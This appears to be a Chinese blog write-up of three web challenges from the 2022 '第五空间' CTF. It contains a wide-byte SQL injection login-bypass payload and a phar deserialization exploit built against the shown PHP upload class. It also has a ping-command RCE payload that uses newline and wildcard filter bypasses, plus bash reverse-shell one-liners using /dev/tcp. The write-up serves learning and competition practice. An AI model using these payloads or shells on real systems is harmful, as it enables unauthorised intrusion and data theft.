9赞
699
当前位置:  开发笔记 > 编程语言 > 正文

2022第五空间web部分wp+复盘总结

打了一天,麻了,大佬tql,这次get到了不少东西,一是一个不太常见的宽字节注入,我是真的没想到,而且后面也是看了wp理解了好一会才弄明白。0x01:题目是一个登录框,但是基本上是过滤掉了所有的常见注入的关键词。实在是没思路,后面看了大佬wp,才发现是宽字节注入,同时还要利用

打了一天,麻了,大佬tql,这次get到了不少东西,一是一个不太常见的宽字节注入,我是真的没想到,而且后面也是看了wp理解了好一会才弄明白。

0x01:

题目是一个登录框,但是基本上是过滤掉了所有的常见注入的关键词。实在是没思路,后面看了大佬wp,才发现是宽字节注入,同时还要利用虚拟表,同时还有mysql的hex编码。
payload:

admin%df%27%09ununionion%09selselectect%091,2,0x6531306164633339343962613539616262653536653035376632306638383365#&password=123456

其中 0x6531306164633339343962613539616262653536653035376632306638383365 为 password=123456d的hex(md5(password)) 利用双写+宽字节构造payload。
123456加密后的md5:e10adc3949ba59abbe56e057f20f883e
因为宽字节的问题所以利用mysql 的hex编码一下:
1663650389820.png

0x02:

一个phar读取flag的操作,遇到这题的时候,phar差不多已经忘光了,首先扫目录得到www.zip 拿到源码进行简单的审计:
开始以为是文件上传,后面一看发现是构造phar直接读。
得到class.php

filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

构造payload:

startBuffering();
#这里XXX的内容随便写,注意后面的XXX如果不用;来和__HALT分割记得留个空格隔开(个人觉得后面XXX还是写个PHP语句好,省点麻烦)
#__HXXXX(注释里直接用全称会被识别)这一节在这个setStub这里必须保证这个为结尾而且不可省,标志这个为phar文件
$phar->setStub("XXX"); 
#把要序列化的变量申明好(这里只知道能放序列化的一个变量,不知道怎么放多个(或许单个文件只能放一个序列化的变量))
$a = new upload();
#将目标变量存入(这里自动把它序列化了)
$phar->setMetadata($a); 
#这里会按照文件名,文件内容的形式打包到phar文件中,当使用phar://awsl.phar://test.txt就会类似用include包含后面定义的代码(这里文件名不影响是否解析 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

phar反序列化知识点可以看一下这篇文章:利用phar扩展PHP反序列化漏洞

放到本地运行一下,这里记得需要在你PHP版本目录下的php.ini文件里面把
phar.readOnly= off 这一行的注释给去掉,并且改成off
1663650977725.png
在本地运行php后,目录下会生成一个.phar的文件 因为phar是可以随便修改为jpg png gif的,所以这里直接随便改个后缀,然后上传 再读取的时候 get传参 phar://upload/文件名.jpg 即可得到flag

0x03:

一个有趣的RCE
打开发现有个ping 操作。 结合经验猜测是rce
1663651350491.png
爆破一下账号密码,得到账号:admin 密码:admin123
1663651524894.png
登录后发现一样的,也是ban掉了很多关键词,利用字典fuzz 一波 这里给大家推荐一个字典:Web Pentesting Fuzz 字典,一个就够了。
这里看到 %0a可以绕过。
1663651642650.png
这里利用tac%09index.php 查看源码
1663651761130.png
发现这里过滤了好多命令,看到可疑的目录kylin 但是他把kylin给ban了,构造通配符直接进行flag的读取。
payload:

?ip=%0Acd%09ky?in%0aca\t%09*
成功得到flag:
1663651911756.png
构造其他payload可以大家可以参考一下这篇:RCE漏洞之绕过

总结:

这次还是学到不少东西,最后成绩28,web队里师傅们ak了 但是最后那个sql注入我是现在还没看懂,所以就没总结了。收获蛮大的。扩展了不少的思路,get到了大佬平时的思路,rce的那题,读文件的时候,队里师傅写了个一句话木马上去,ban了那么多关键词,我是怎么也想不到怎么写上去的。按我平时的思路就是,利用常见的命令 例如echo命令写马,但ban掉了不少东西, 同时,/也被ban了,进目录是没法搞的。但是大佬的思路是啥,日志写马,日志写马倒也是想到过,可是我/给我ban掉了,当时就没想到怎么给进目录,那么自然也就没法写马了,完了请教大佬的时候,大佬给我的是这样的:
1663652370067.png
思路是这样的,但是这个绕过属实是骚操作了。
1663652403014.png
另外还get到一个思路,就是平常的rce 如果是没有过滤掉管道符这种,可以直接利用反弹shell,直接读flag
具体操作
1663652577034.png
这是linux的一些反弹shell的命令,windows的大家可以自行百度。
常用的比如:

/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
等等,骚操作还有不少,还有一些空格的绕过之类的操作。可以百度一下,有不少文章可以借鉴参考。
思路真的很重要,有时候你只能卡在一个地方走不了, 而大佬可以各种骚操作绕过等。


推荐阅读
  • 1简介 MyBatis是支持普通SQL查询,存储过程和高级映射的优秀持久层框架,其几乎消除了所有的JDBC代码和参数的手工设置以及结果集的检索。MyBa ... [详细]
  • 10分钟学会ES7+ES8作者:王刚力时间:2017-09-12浏览人数:147撰文为何身为一个前端开 ... [详细]
  • 小心,别被eureka坑了
    Eureka是Netflix开发的服务发现框架,本身是一个基于REST的服务,主要用于定位运行在AWS域中的中间层服务,以达到负载均衡和中间层服务故障转移的目的。SpringClo ... [详细]
  • PHP在线解密 支持Zend解密,易盾解密,混淆解密。支持ZendPHP5.2,ZendPHP5.3解密,ZendPHP5. ... [详细]
  • 如何解决《ExoPlayer:从HTTP流中获取歌曲元数据》经验,为你挑选了2个好方法。 ... [详细]
  • 此文已由作者易国强授权网易云社区发布。欢迎访问网易云社区,了解更多网易技术产品运营经验。Bean的顺序加载有些场景中,我们希望编写的Bean能够按照指定的顺序进行加载。比如,有Us ... [详细]
  • 1、Druid的简介Druid首先是一个数据库连接池。Druid是目前最好的数据库连接池,在功能、性能、扩展性方面,都超过其他数据库连接池,包括DBCP、C3P0、BoneCP、P ... [详细]
  • Selenium自动化测试3.元素定位(2)
    ——————今天距2020年82天——————这是ITester软件测试小栈第54次推文大家好我是vivi小胖虎今天我们学习xpath定位元素如果你告诉我不是你不想用seleniu ... [详细]
  • HTTP协议那些事儿(Web开发补充知识点)
    超文本传输协议(英文:HyperTextTransferProtocol,缩写:HTTP)是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是万维网的数据通信的基础。H ... [详细]
  • Kafka+Log4j2日志
    默认你已经安装配置了Zookeeper和Kafka。 为了目录清晰,我的Kafka配置文件的Zookeeper部分是:加上了节点用来存放Kafka信息启动Zookeeper,然后启 ... [详细]
  • Java项目:仓库管理系统设计和实现(java+ssm+springboot+layui)
    源码获取:博客首页资源里下载!主要功能模块 1.用户模块管理:用户登录、用户注册、用户的查询、添加、删除操作、 2.客户信息管理&#x ... [详细]
  • 如何解决《扩展UIAlertController方便初始化警告》经验,为你挑选了1个好方法。 ... [详细]
  • 开发笔记:CookieLocalStorage 与 SessionStorage的区别 ... [详细]
  • 本文的试验环境为CentOS7.3,Kubernetes集群为1.11.2,安装步骤参见应用场景:镜 ... [详细]
  • 代码执行及命令执行漏洞
     一、代码执行:在参数,变量等执行地方,更改提交方式,注入畸形代码,出发安全漏洞。主要原因:由于服务器未针对函数的参数做有效过滤操作,导致的漏洞。1、常见的代码执行函数:PHP( ... [详细]
author-avatar
mobiledu2502912637
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有